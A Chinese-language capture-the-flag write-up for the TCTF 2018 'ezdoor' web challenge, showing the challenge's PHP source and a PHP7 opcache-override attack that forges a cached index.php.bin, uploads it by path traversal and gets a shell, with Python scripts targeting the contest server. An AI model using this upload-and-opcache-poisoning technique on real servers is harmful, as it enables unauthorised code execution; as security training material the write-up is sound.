以TCTF2018的ezdoor為例
相關WP
正解
https://github.com/LyleMi/My-CTF-Challenges/tree/master/ezDoor
非預期解:index.php/. + 條件競爭
https://blog.zsxsoft.com/post/36
非預期解:/x/../index.php/.
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
相關知識點
https://xz.aliyun.com/t/223
https://github.com/GoSecure/php7-opcache-override
要求:
- 目標服務器是php7并開啟了opcache緩存
- 獲得目標詳細的各種環境信息,最直接的是拿到phpinfo
- 支持文件上傳,能上傳.bin文件到tmp目錄下
- 若目標服務器開啟了時間戳校驗,要么爆破時間戳,或者cms的大部分文件并不會被修改,時間戳與源碼一致
賽題
http://202.120.7.217:9527
訪問index.php給出了源碼,順便加了點調試的代碼,方便本地調試
<?php
#error_reporting(1);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/'; #/sandbox/ip的sha1/
if(!file_exists($dir)){
mkdir($dir); #新建了這個路徑
}
if(!file_exists($dir . "index.php")){
# echo '111111';
touch($dir . "index.php"); #新建了/sandbox/ip的sha1/index.php
}
function clear($dir) #清空功能
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") { #顯示路徑
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt"); #顯示phpinfo.txt
break;
case 'reset': #清空路徑
clear($dir);
break;
case 'time':
echo time(); #顯示時間
break;
case 'upload': #上傳
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break; #需要自定義好參數
}
if ($_FILES['file']['size'] > 100000) {
clear($dir); #大小限制
break;
}
$name = $dir . $_GET["name"]; #獲取文件名
echo '目錄-----';
echo var_dump($dir);
echo '文件路徑-----';
echo var_dump($name);
echo '后綴名-----';
echo var_dump(pathinfo($name)["extension"]);
echo '是否是正常目錄,是就返回0-----';
echo var_dump(preg_match("/[^a-zA-Z0-9.\/]/", $name));
echo '檢查后綴名是否含有h-----';
echo var_dump(stristr(pathinfo($name)["extension"], "h"));
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || #文件名范圍:^a-zA-Z0-9 . / 是正常目錄則返回0.不會進入if條件
stristr(pathinfo($name)["extension"], "h")) { #若文件后綴名含有h,則退出
break;
}
echo '文件是否上傳成功:';
echo var_dump(move_uploaded_file($_FILES['file']['tmp_name'], $name)); #成功上傳文件
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) { #上傳成功會列出$dir下的目錄,遇到文件名有.或者..就跳過
continue;
}
$size += filesize($dir . $file); #大小限制
}
if ($size > 100000) {
clear($dir);
}
echo 'include file-----';
echo var_dump($dir . "index.php");
echo 'content------';
echo var_dump(file_get_contents($dir . "index.php"));
echo var_dump(scandir($dir));
break;
case 'shell': #限制了兩個目錄,在這兩個目錄下可以執行shell命令,說明$dir/index.php是命令執行馬
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php"; #會包含index.php
break;
#default:
# highlight_file(__FILE__);
# break;
}
每次遇到新的知識點,需要的就是靜下心來讀paper
給出一些關鍵信息的截圖
那么思路來了
- 先在本地搭建環境,生成自己的index.php的opcache
- 訪問目標服務器的
index.php?action=phpinfo
,得到phpinfo,并通過項目https://github.com/GoSecure/php7-opcache-override計算得到其system_id - 先訪問
index.php?action=reset
再訪問index.php?action=time
,清空服務器的index.php然后重新touch index.php,并獲得其時間戳 - 修改自己本地的index.php.bin的system_id和時間戳,與服務器相同,并上傳到目標服務器的tmp相應目錄下
- 訪問
index.php?action=shell
,成功include index.php,此時以緩存的內容為主,成功 get shell
本地環境搭建
編輯php7的php.ini,添加三句話,然后重啟apache,訪問得到自己的index.php.bin
opcache.validate_timestamps = 1 ; PHP 7 的默認值為 1,即開啟時間戳校驗
opcache.file_cache_only = 1 ; PHP 7 的默認值為 0
opcache.file_cache = /tmp/cache
zend_extension=opcache.so ;有些還需要再添加這句
獲得目標服務器的system_id和時間戳
index.php?action=phpinfo
得到服務器的phpinfo.txt
git clone https://github.com/GoSecure/php7-opcache-override
修改其腳本的內容
先reset,再獲得服務器index.php的時間戳
get-time.py
import requests
url = 'http://202.120.7.217:9527/index.php?action=reset'
r = requests.get(url)
url = 'http://202.120.7.217:9527/index.php?action=time'
r = requests.get(url)
tmp = hex(int(r.text)).replace('0x','')
time = tmp[6:8]+tmp[4:6]+tmp[2:4]+tmp[0:2]
print time
修改本地的index.php.bin的system_id和時間戳
建議用010editor
上傳修改后的index.php.bin到目標服務器對應的tmp目錄下
成功包含并get shell
upload.py
import requests
files = {'file': open("index.php.bin", 'rb')}
url = 'http://202.120.7.217:9527/index.php?action=upload&name=../../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/index.php.bin'
print 'upload url:'
print url
r = requests.post(url,files = files)
print r
url = 'http://202.120.7.217:9527/index.php?action=shell'
print 'shell:'
print requests.get(url).text
接下來各種寫shell
目標服務器的目錄權限限制,導致不能寫入一句話木馬
目標服務器的system等調用系統命令等函數被禁用,導致無法反彈shell
只能老老實實用php函數,讀取想要的東西
讀取目錄信息,發現可疑的文件或目錄
93f4c28c0cf0b07dfd7012dca2cb868cc0228cad
判斷 93f4c28c0cf0b07dfd7012dca2cb868cc0228cad 是一個文件
讀取文件
base64 -d base64.txt > flag
得到的是一個opcache的緩存文件,web狗的任務已經完成,接下來是re選手的事了,當時逆向選手已經睡了,我強行逆了一個晚上沒搞出來,2333